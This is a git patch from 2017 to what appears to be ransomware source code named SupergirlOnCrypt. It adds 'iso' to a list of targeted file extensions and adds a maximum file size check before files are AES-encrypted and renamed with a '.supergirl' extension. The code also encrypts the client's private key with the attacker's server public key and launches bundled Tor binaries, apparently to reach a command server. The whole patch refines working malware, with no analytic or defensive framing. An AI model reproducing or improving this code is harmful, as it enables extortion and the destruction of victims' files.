From cb7a895db924a5284a32027c1db14fbc3798aed5 Mon Sep 17 00:00:00 2001 From: ThoughtfulDev Date: Thu, 14 Sep 2017 16:35:09 +0200 Subject: [PATCH] Max Filesize Limit --- .gitignore | 2 +- App/Config.py | 6 ++++-- App/FileCrypter.py | 14 +++++++++++--- App/RSA/RSAKeyGen.py | 7 ++++--- App/SupergirlOnCrypt.py | 2 +- App/TorManager.py | 4 ++-- 6 files changed, 23 insertions(+), 12 deletions(-) diff --git a/.gitignore b/.gitignore index 044ce60..1ed9e8d 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,6 @@ App/build/ *.spec API/vendor/ API/logs/* -App/server.public.key +App/res/server.public.key API/bin/private.key API/.idea/ diff --git a/App/Config.py b/App/Config.py index 5988398..d8481b8 100644 --- a/App/Config.py +++ b/App/Config.py @@ -8,5 +8,7 @@ 'mp4', 'txt', 'log', 'html', 'jpg', 'jpeg', 'gif', 'png', 'tga', 'flv', 'wmv', 'mpeg', 'mov', 'json', 'key', 'xml', 'htm', 'fb2', 'sxw', 'oxps', 'odt', 'ps', 'rtf', 'wpd', 'wp', 'wp7', - 'md', 'sh' - ] \ No newline at end of file + 'md', 'sh', 'iso' + ] + +MAX_SIZE_LIMIT = 1.25 diff --git a/App/FileCrypter.py b/App/FileCrypter.py index d13ec27..029efa5 100644 --- a/App/FileCrypter.py +++ b/App/FileCrypter.py @@ -4,10 +4,12 @@ from AES.RandomKeyGen import RandomKeyGen from Crypto import Random from Crypto.Cipher import AES -import base64, os +import base64 +import os +import Config -class FileCrypter: +class FileCrypter: def __init__(self): self.key, self.iv = RandomKeyGen().getKey() self.encoding = 'utf-8' @@ -31,6 +33,9 @@ def encrypt_file(self, file_name, client_pub_key): if not os.path.isfile(file_name): return + file_size = os.path.getsize(file_name) * 0.000000001 + if file_size > Config.MAX_SIZE_LIMIT: + return public_key = serialization.load_ssh_public_key( bytes(client_pub_key, 'utf-8'), @@ -51,8 +56,11 @@ def encrypt_file(self, file_name, client_pub_key): ) cipher = base64.b64encode(cipher) + + with open(file_name, 'rb') as fo: plaintext = fo.read() + enc = self.encrypt(plaintext, self.key) with open(file_name + ".supergirl", 'wb') as fo: @@ -88,9 +96,9 @@ def decrypt_file(self, file_name, privateKeyStr): aes_iv_clear = aes_iv_clear.decode(self.encoding) aes_iv_clear = aes_iv_clear.split(';')[0] aes_iv_clear = base64.b64decode(aes_iv_clear) + with open(file_name, 'rb') as fo: ciphertext = fo.read() - dec = self.decrypt(ciphertext, aes_iv_clear) with open(file_name[:-10], 'wb') as fo: fo.write(dec) diff --git a/App/RSA/RSAKeyGen.py b/App/RSA/RSAKeyGen.py index fa13f8e..0575b6b 100644 --- a/App/RSA/RSAKeyGen.py +++ b/App/RSA/RSAKeyGen.py @@ -1,11 +1,12 @@ -from cryptography.hazmat.primitives import serialization, hashes -from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend class RSAKeyGen: def __init__(self, size=1024, pub_exp=65537): self.key = rsa.generate_private_key(backend=default_backend(), public_exponent=pub_exp, key_size=size) - self.public_key = self.key.public_key().public_bytes(serialization.Encoding.OpenSSH, serialization.PublicFormat.OpenSSH) + self.public_key = self.key.public_key().public_bytes(serialization.Encoding.OpenSSH, + serialization.PublicFormat.OpenSSH) self.private_key = self.key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption()) diff --git a/App/SupergirlOnCrypt.py b/App/SupergirlOnCrypt.py index f7c21fd..df433d0 100644 --- a/App/SupergirlOnCrypt.py +++ b/App/SupergirlOnCrypt.py @@ -64,7 +64,7 @@ def genKeyPair(): def encryptClientPrivKey(priv_key): """Encrypt the Clients private key (given as a str) with the servers public key""" - with open(_helper.path('./server.public.key'), "rb") as key_file: + with open(_helper.path('res/server.public.key'), "rb") as key_file: public_key = serialization.load_ssh_public_key( key_file.read(), backend=default_backend() diff --git a/App/TorManager.py b/App/TorManager.py index e20fe0c..71890a8 100644 --- a/App/TorManager.py +++ b/App/TorManager.py @@ -24,7 +24,7 @@ def startProxy(self): time.sleep(10) def startLinux(self): - copyfile(self._helper.path("./tor_bin/tor_linux.zip"), self.tor_path_linux + "zip") + copyfile(self._helper.path("tor_bin/tor_linux.zip"), self.tor_path_linux + "zip") if not os.path.exists(self.tor_path_linux): os.makedirs(self.tor_path_linux) else: @@ -43,7 +43,7 @@ def startLinux(self): self._helper.info("Started Tor") def startWindows(self): - copyfile(self._helper.path("./tor_bin/tor_win.zip"), self.tor_path_win + "zip") + copyfile(self._helper.path("tor_bin/tor_win.zip"), self.tor_path_win + "zip") if not os.path.exists(self.tor_path_win): os.makedirs(self.tor_path_win) else: